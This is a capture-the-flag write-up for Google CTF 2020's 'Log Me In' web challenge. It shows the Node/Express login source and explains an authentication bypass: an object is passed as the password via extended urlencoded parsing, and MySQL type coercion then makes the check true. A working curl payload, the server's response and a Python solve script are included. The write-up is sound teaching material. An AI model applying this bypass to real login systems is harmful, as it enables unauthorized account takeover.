# Log Me In
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Express.js- Body Parser
# Source
- https://log-me-in.web.ctfcompetition.com/
```Log in to get the flag```
```js/** * @fileoverview Description of this file. */
const mysql = require('mysql');const express = require('express');const cookieSession = require('cookie-session');const cookieParser = require('cookie-parser');const bodyParser = require('body-parser');
const flagValue = "..."const targetUser = "michelle"
const {  v4: uuidv4} = require('uuid');
const app = express();app.set('view engine', 'ejs');app.set('strict routing', true);
/* strict routing to prevent /note/ paths etc. */app.set('strict routing', true)app.use(cookieParser());
/* secure session in cookie */app.use(cookieSession({  name: 'session',  keys: ['...'] //don't even bother}));
app.use(bodyParser.urlencoded({  extended: true}))
app.use(function(req, res, next) {  if(req && req.session && req.session.username) {    res.locals.username = req.session.username    res.locals.flag = req.session.flag  } else {    res.locals.username = false    res.locals.flag = false  }  next()});
/* server static files from static folder */app.use('/static', express.static('static'))
app.use(function( req, res, next) {  if(req.get('X-Forwarded-Proto') == 'http') {      res.redirect('https://' + req.headers.host + req.url)  } else {    if (process.env.DEV) {      return next()    } else  {    return next()    }  }});// MIDDLEWARE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* csrf middleware, csrf_token stored in the session cookie */const csrf = (req, res, next) => {  const csrf = uuidv4();  req.csrf = req.session.csrf || uuidv4();  req.session.csrf = csrf;  res.locals.csrf = csrf;
  nocache(res);
  if (req.method == 'POST' && req.csrf !== req.body.csrf) {    return res.render('index', {error: 'Invalid CSRF token'});  }
  next();}
/* disable cache on specifc endpoints */const nocache = (res) => {  res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate');  res.setHeader('Pragma', 'no-cache');  res.setHeader('Expires', '0');}
/* auth middleware */const auth = (req, res, next) => {  if (!req.session || !req.session.username) {    return res.render('index', {error:"You must be logged in to access that"});  }  next()}
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`app.get('/logout', (req, res) => {  req.session = null;  res.redirect('/');});
app.get('/', csrf, (req, res) => {  res.render('index');});
app.get('/about', (req, res) => {  res.render('about');
});app.get('/me', auth, (req, res) => {  res.render('profile');});
app.get('/flag', csrf, auth, (req, res) => {  res.render('premium')});
app.get('/login', (req, res) => {  res.render('login');});
app.post('/login', (req, res) => {  const u = req.body['username'];  const p = req.body['password'];
  const con = DBCon(); // mysql.createConnection(...).connect()
  const sql = 'Select * from users where username = ? and password = ?';  con.query(sql, [u, p], function(err, qResult) {    if(err) {      res.render('login', {error: `Unknown error: ${err}`});    } else if(qResult.length) {      const username = qResult[0]['username'];      let flag;      if(username.toLowerCase() == targetUser) {        flag = flagValue      } else{        flag = "<span>Only Michelle's account has the flag</span>";      }      req.session.username = username      req.session.flag = flag      res.redirect('/me');    } else {      res.render('login', {error: "Invalid username or password"})    }  });});
/* * ...SNIP... */
```
# Exploitation
When you look at the source code, you'll notice the following snippet:
```jsapp.use(bodyParser.urlencoded({  extended: true}))```
This tells body parser to allow arrays and objects in the request body. So you can pass things like:
```username[]=a&username[]=b
This is interpreted as username = ['a', 'b']
Similarly, 
username[hello]=a
Is interpreted as username = {hello: 'a'}```
Now, you see in the `/login` POST route that the output has not been stringified (no `.toString()`). Which means it is possible to pass an object in the query statement.
```jsconst sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) {...});```
Now, let's see if passing an objectto the `con.query` function might help us. We'll refer to the official `mysql` [docs](https://www.npmjs.com/package/mysql#escaping-query-values).
Take a look at this example:
```jsvar post  = {id: 1, title: 'Hello MySQL'};var query = connection.query('INSERT INTO posts SET ?', post, function (error, results, fields) {  if (error) throw error;  // Neat!});console.log(query.sql); // INSERT INTO posts SET `id` = 1, `title` = 'Hello MySQL'```
We can see that objects are converted into comma separated attributes. We know that the username is supposed to be `michelle`, but we do not know the password. So, we can try to pass an object in the place of password, with a known attribute. Here's the payload I tried:
```csrf&username=michelle&password[username]=michelle```
This makes `password` an object as shown below:
```js{  username: 'michelle',}```
Now, the query becomes something like:
```jscon.query('Select * from users where username = ? and password = ?', ['michelle', {username: 'michelle'}], function(err, qResult) {...});```
This actually evaluates to:
```js"Select * from users where username = 'michelle' and password = `username` = 'michelle';"```
This works because of the way `mysql` evaluates strings. When you evaluate `'password' = 'username'`, it returns a 0. Then, if you compare `0` and `'michelle'`, `true` is returned. This happens because of the way type-casting is done in `mysql`. 
This exploit would work for any string (not just `michelle`) except the ones which get type-casted to a different number.
For example, `0 = '1michelle'` will evaluate to false, since `1michelle` when converted to an integer gives `1`. Therefore, `password[username] = 1michelle` will not allow you to log in successfully. Check out [this](https://stackoverflow.com/questions/22080382/mysql-why-comparing-a-string-to-0-gives-true) link for a more detailed explanation.
Here's the final paylaod.
```bashcurl -i -X POST --data 'csrf&username=michelle&password[username]=michelle' "https://log-me-in.web.ctfcompetition.com/login"
HTTP/2 302 content-type: text/plain; charset=utf-8x-powered-by: Expresslocation: /mevary: Acceptset-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponlyset-cookie: session.sig=bm5eHrmgRjBNmerS49mKNDV_tP4; path=/; httponlyx-cloud-trace-context: 51c2e656058a1cc31a265b3a8ad0d4b1date: Mon, 24 Aug 2020 06:53:43 GMTserver: Google Frontendcontent-length: 25
Found. Redirecting to /me```
From here, you can just take the cookie you received, and use that to visit `/flag`.
P.S. you can write a python script for the exploit, like the one given below:
```pyimport requestsimport re
url = lambda path: 'https://log-me-in.web.ctfcompetition.com' + path
s = requests.Session()
payload = {    "username": "michelle",    "password[username]": "michelle",    "csrf": "",}
r = s.post(url('/login'), data=payload)
r = s.get(url('/flag'))
if re.search(r'CTF{.*}', r.text):    print(r.text)
```
You can run this script and use `grep` to find the flag.
```bash$ python solve.py | grep CTF Flag: CTF{a-premium-effort-deserves-a-premium-flag}```
Flag: CTF{a-premium-effort-deserves-a-premium-flag}
The flag is:
``` CTF{a-premium-effort-deserves-a-premium-flag}```